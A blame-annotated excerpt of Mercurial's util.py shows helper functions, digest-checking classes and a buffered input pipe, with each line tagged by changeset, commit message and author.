197 """Apply function recursively to every item preserving the data structure |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
198 |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
199 >>> def f(x): |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
200 ... return 'f(%s)' % x |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
201 >>> rapply(f, None) is None |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
202 True |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
203 >>> rapply(f, 'a') |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
204 'f(a)' |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
205 >>> rapply(f, {'a'}) == {'f(a)'} |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
206 True |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
207 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []]) |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
208 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []] |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
209 |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
210 >>> xs = [object()] |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
211 >>> rapply(pycompat.identity, xs) is xs |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
212 True |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
213 """ |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
214 if f is pycompat.identity: |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
215 # fast path mainly for py2 |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
216 return xs |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
217 return _rapply(f, xs) |
72de5c504833
py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents:
35755
diff
changeset
|
218 |
33839
7d5bc0e5b88f
py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents:
33820
diff
changeset
|
219 def bytesinput(fin, fout, *args, **kwargs): |
7d5bc0e5b88f
py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents:
33820
diff
changeset
|
220 sin, sout = sys.stdin, sys.stdout |
7d5bc0e5b88f
py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents:
33820
diff
changeset
|
221 try: |
33852
f18b11534274
py3: make encoding.strio() an identity function on Python 2
Yuya Nishihara <yuya@tcha.org>
parents:
33839
diff
changeset
|
222 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout) |
33853
cfcfbe6c96f8
py3: select input or raw_input by pycompat
Yuya Nishihara <yuya@tcha.org>
parents:
33852
diff
changeset
|
223 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs)) |
33839
7d5bc0e5b88f
py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents:
33820
diff
changeset
|
224 finally: |
7d5bc0e5b88f
py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents:
33820
diff
changeset
|
225 sys.stdin, sys.stdout = sin, sout |
7d5bc0e5b88f
py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents:
33820
diff
changeset
|
226 |
30745 | 227 def bitsfrom(container): |
228 bits = 0 | |
229 for bit in container: | |
230 bits |= bit | |
231 return bits | |
232 | |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
233 # python 2.6 still have deprecation warning enabled by default. We do not want |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
234 # to display anything to standard user so detect if we are running test and |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
235 # only use python deprecation warning in this case. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
236 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
237 if _dowarn: |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
238 # explicitly unfilter our warning for python 2.7 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
239 # |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
240 # The option of setting PYTHONWARNINGS in the test runner was investigated. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
241 # However, module name set through PYTHONWARNINGS was exactly matched, so |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
242 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
243 # makes the whole PYTHONWARNINGS thing useless for our usecase. |
31952
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
244 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
245 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
246 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
247 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
248 def nouideprecwarn(msg, version, stacklevel=1): |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
249 """Issue an python native deprecation warning |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
250 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
251 This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
252 """ |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
253 if _dowarn: |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
254 msg += ("\n(compatibility will be dropped after Mercurial-%s," |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
255 " update your code.)") % version |
36128
02ed94dd9fd6
util: call warnings.warn() with a sysstr in nouideprecwarn
Augie Fackler <augie@google.com>
parents:
36038
diff
changeset
|
256 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
257 |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
258 DIGESTS = { |
29342
c27dc3c31222
util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents:
29324
diff
changeset
|
259 'md5': hashlib.md5, |
c27dc3c31222
util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents:
29324
diff
changeset
|
260 'sha1': hashlib.sha1, |
c27dc3c31222
util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents:
29324
diff
changeset
|
261 'sha512': hashlib.sha512, |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
262 } |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
263 # List of digest types from strongest to weakest |
27357
7f5a0bd4c9aa
util: make hashlib import unconditional
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27112
diff
changeset
|
264 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
265 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
266 for k in DIGESTS_BY_STRENGTH: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
267 assert k in DIGESTS |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
268 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
269 class digester(object): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
270 """helper to compute digests. |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
271 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
272 This helper can be used to compute one or more digests given their name. |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
273 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
274 >>> d = digester([b'md5', b'sha1']) |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
275 >>> d.update(b'foo') |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
276 >>> [k for k in sorted(d)] |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
277 ['md5', 'sha1'] |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
278 >>> d[b'md5'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
279 'acbd18db4cc2f85cedef654fccc4a4d8' |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
280 >>> d[b'sha1'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
281 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
282 >>> digester.preferred([b'md5', b'sha1']) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
283 'sha1' |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
284 """ |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
285 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
286 def __init__(self, digests, s=''): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
287 self._hashes = {} |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
288 for k in digests: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
289 if k not in DIGESTS: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
290 raise Abort(_('unknown digest type: %s') % k) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
291 self._hashes[k] = DIGESTS[k]() |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
292 if s: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
293 self.update(s) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
294 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
295 def update(self, data): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
296 for h in self._hashes.values(): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
297 h.update(data) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
298 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
299 def __getitem__(self, key): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
300 if key not in DIGESTS: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
301 raise Abort(_('unknown digest type: %s') % k) |
35582
72b91f905065
py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35513
diff
changeset
|
302 return nodemod.hex(self._hashes[key].digest()) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
303 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
304 def __iter__(self): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
305 return iter(self._hashes) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
306 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
307 @staticmethod |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
308 def preferred(supported): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
309 """returns the strongest digest type in both supported and DIGESTS.""" |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
310 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
311 for k in DIGESTS_BY_STRENGTH: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
312 if k in supported: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
313 return k |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
314 return None |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
315 |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
316 class digestchecker(object): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
317 """file handle wrapper that additionally checks content against a given |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
318 size and digests. |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
319 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
320 d = digestchecker(fh, size, {'md5': '...'}) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
321 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
322 When multiple digests are given, all of them are validated. |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
323 """ |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
324 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
325 def __init__(self, fh, size, digests): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
326 self._fh = fh |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
327 self._size = size |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
328 self._got = 0 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
329 self._digests = dict(digests) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
330 self._digester = digester(self._digests.keys()) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
331 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
332 def read(self, length=-1): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
333 content = self._fh.read(length) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
334 self._digester.update(content) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
335 self._got += len(content) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
336 return content |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
337 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
338 def validate(self): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
339 if self._size != self._got: |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
340 raise Abort(_('size mismatch: expected %d, got %d') % |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
341 (self._size, self._got)) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
342 for k, v in self._digests.items(): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
343 if v != self._digester[k]: |
23076
c312ef382033
i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents:
23030
diff
changeset
|
344 # i18n: first parameter is a digest name |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
345 raise Abort(_('%s mismatch: expected %s, got %s') % |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
346 (k, v, self._digester[k])) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
347 |
11565
7546d4a272c8
util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents:
11469
diff
changeset
|
348 try: |
15657
d976b1ef6760
util: don't mess with builtins to emulate buffer()
Matt Mackall <mpm@selenic.com>
parents:
15656
diff
changeset
|
349 buffer = buffer |
11565
7546d4a272c8
util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents:
11469
diff
changeset
|
350 except NameError: |
33549
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
351 def buffer(sliceable, offset=0, length=None): |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
352 if length is not None: |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
353 return memoryview(sliceable)[offset:offset + length] |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
354 return memoryview(sliceable)[offset:] |
10756
cb681cc59a8d
util: fake the builtin buffer if it's missing (jython)
Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de>
parents:
10487
diff
changeset
|
355 |
34646 | 356 closefds = pycompat.isposix |
10197
29e3c4a7699b
subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents:
9996
diff
changeset
|
357 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
358 _chunksize = 4096 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
359 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
360 class bufferedinputpipe(object): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
361 """a manually buffered input pipe |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
362 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
363 Python will not let us use buffered IO and lazy reading with 'polling' at |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
364 the same time. We cannot probe the buffer state and select will not detect |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
365 that data are ready to read if they are already buffered. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
366 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
367 This class let us work around that by implementing its own buffering |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
368 (allowing efficient readline) while offering a way to know if the buffer is |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
369 empty from the output (allowing collaboration of the buffer with polling). |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
370 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
371 This class lives in the 'util' module because it makes use of the 'os' |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
372 module from the python stdlib. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
373 """ |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
374 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
375 def __init__(self, input): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
376 self._input = input |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
377 self._buffer = [] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
378 self._eof = False |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
379 self._lenbuf = 0 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
380 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
381 @property |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
382 def hasbuffer(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
383 """True is any data is currently buffered |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
384 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
385 This will be used externally a pre-step for polling IO. If there is |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
386 already data then no polling should be set in place.""" |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
387 return bool(self._buffer) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
388 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
389 @property |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
390 def closed(self): |
be930f16a52a
